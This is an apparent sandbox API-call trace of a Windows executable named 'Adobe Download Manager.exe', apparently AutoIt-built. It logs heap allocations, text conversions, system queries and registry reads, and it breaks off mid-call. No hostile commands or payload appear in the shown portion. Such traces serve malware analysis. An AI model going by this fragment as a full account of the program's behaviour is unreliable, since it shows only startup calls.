CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRXàväú¿", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0131.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRXàväú¿", cbMultiByte=256, lpWideCharStr=0xbff2f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0131.307] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0131.307] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0xbff0e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0131.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0xbff7a8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿRXàväú¿", lpUsedDefaultChar=0x0) returned 256 [0131.307] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0131.307] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x2e4acc) returned 0x0 [0131.307] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.308] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.308] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x3c) returned 0xe8b340 [0131.308] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.308] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe8d3d8 [0131.308] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe81d38 [0131.308] GetVersionExW (in: lpVersionInformation=0xbff9c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x1f1e1d1c, dwMinorVersion=0x23222120, dwBuildNumber=0x27262524, dwPlatformId=0x2b2a2928, szCSDVersion="⴬⼮㄰㌲㔴㜶㤸㬺㴼㼾䅀䍂䕄䝆䥈䭊䵌低児卒啔坖奘孚嵜彞慠换敤杦楨歪浬潮煰獲畴睶祸筺絼罾H") | out: lpVersionInformation=0xbff9c0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0131.308] GetCurrentProcess () returned 0xffffffff [0131.308] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0xbffb10 | out: Wow64Process=0xbffb10*=1) returned 1 [0131.308] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.309] GetProcAddress (hModule=0x770a0000, lpProcName="GetNativeSystemInfo") returned 0x770bac70 [0131.309] GetNativeSystemInfo (in: lpSystemInfo=0xbffadc | out: lpSystemInfo=0xbffadc*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0131.309] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.309] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.309] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0xe8d3f0 [0131.310] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe8d348 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe83cb0 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe89760 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe83e20 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe89838 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe86fb0 [0131.310] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe89700 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8b838 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe89880 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8b848 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe89778 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe81d00 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe897a8 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe81d10 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe89898 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8a660 [0131.310] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe897c0 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8a670 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe8a890 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8ac68 [0131.311] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0131.311] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0131.311] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0131.311] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0131.311] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0131.311] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe8a788 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8ac78 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe8a980 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8aab0 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe8a950 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb40 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe8aa40 [0131.311] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cab0 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97e10 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cbc0 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97e88 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb70 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97e40 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cc10 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97e58 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb90 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97ea0 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cc20 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97eb8 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb50 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cae0 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97e70 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cc30 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97e28 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cc40 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97df8 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cac0 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97cd8 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb60 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97bd0 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cbf0 [0131.312] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8caa0 [0131.312] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1db [0131.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97c60 [0131.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb80 [0131.313] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xe8ae78 [0131.313] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0131.313] OleInitialize (pvReserved=0x0) returned 0x0 [0131.332] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d50 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cba0 [0131.333] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0xbffae4 | out: phkResult=0xbffae4*=0x1dc) returned 0x0 [0131.333] RegQueryValueExW (in: hKey=0x1dc, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0xbffb00, lpcbData=0xbffae8*=0x8 | out: lpType=0x0, lpData=0xbffb00*=0x30, lpcbData=0xbffae8*=0x4) returned 0x0 [0131.333] RegCloseKey (hKey=0x1dc) returned 0x0 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe87230 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cbd0 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cbe0 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cad0 [0131.333] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97de0 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cc00 [0131.333] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe87258 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cc50 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97c00 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8ca80 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97dc8 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb00 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97b58 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb10 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97b70 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8ca90 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d38 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb30 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97c78 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cb20 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97c30 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe8cbb0 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d68 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf48 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97c18 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf58 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97cf0 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bdd8 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97c48 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf18 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97bb8 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be98 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d08 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be08 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97c90 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bec8 [0131.334] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97ca8 [0131.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bdf8 [0131.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97cc0 [0131.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf88 [0131.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d20 [0131.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bde8 [0131.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97af8 [0131.335] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be18 [0131.335] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.335] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d80 [0131.337] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be28 [0131.339] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbdfab8, nSize=0x7fff | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe")) returned 0x38 [0131.339] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0xe89aa8 [0131.339] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf98 [0131.341] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbcfaa8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0x0) returned 0x38 [0131.341] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe97d80 | out: hHeap=0xe80000) returned 1 [0131.341] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x80) returned 0xe884e0 [0131.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe89aa8 | out: hHeap=0xe80000) returned 1 [0131.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9bf98 | out: hHeap=0xe80000) returned 1 [0131.342] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbdfac4, lpFilePart=0xbefac4 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0xbefac4*="Adobe Download Manager.exe") returned 0x38 [0131.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xe87280 [0131.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d80 [0131.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d98 [0131.342] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be38 [0131.342] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0xbefae0 | out: phkResult=0xbefae0*=0x0) returned 0x2 [0131.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe97d98 | out: hHeap=0xe80000) returned 1 [0131.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xe9be38 | out: hHeap=0xe80000) returned 1 [0131.342] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.343] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.343] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97d98 [0131.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9be38 [0131.343] RtlSizeHeap (HeapHandle=0xe80000, Flags=0x0, MemoryPointer=0xe89bd0) returned 0x80 [0131.344] IsThemeActive () returned 0x1 [0131.344] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0xbffb04, fWinIni=0x0 | out: pvParam=0xbffb04) returned 1 [0131.345] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 0 [0131.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0xe97db0 [0131.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xe9bf98 [0131.345] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xbefad8 | out: 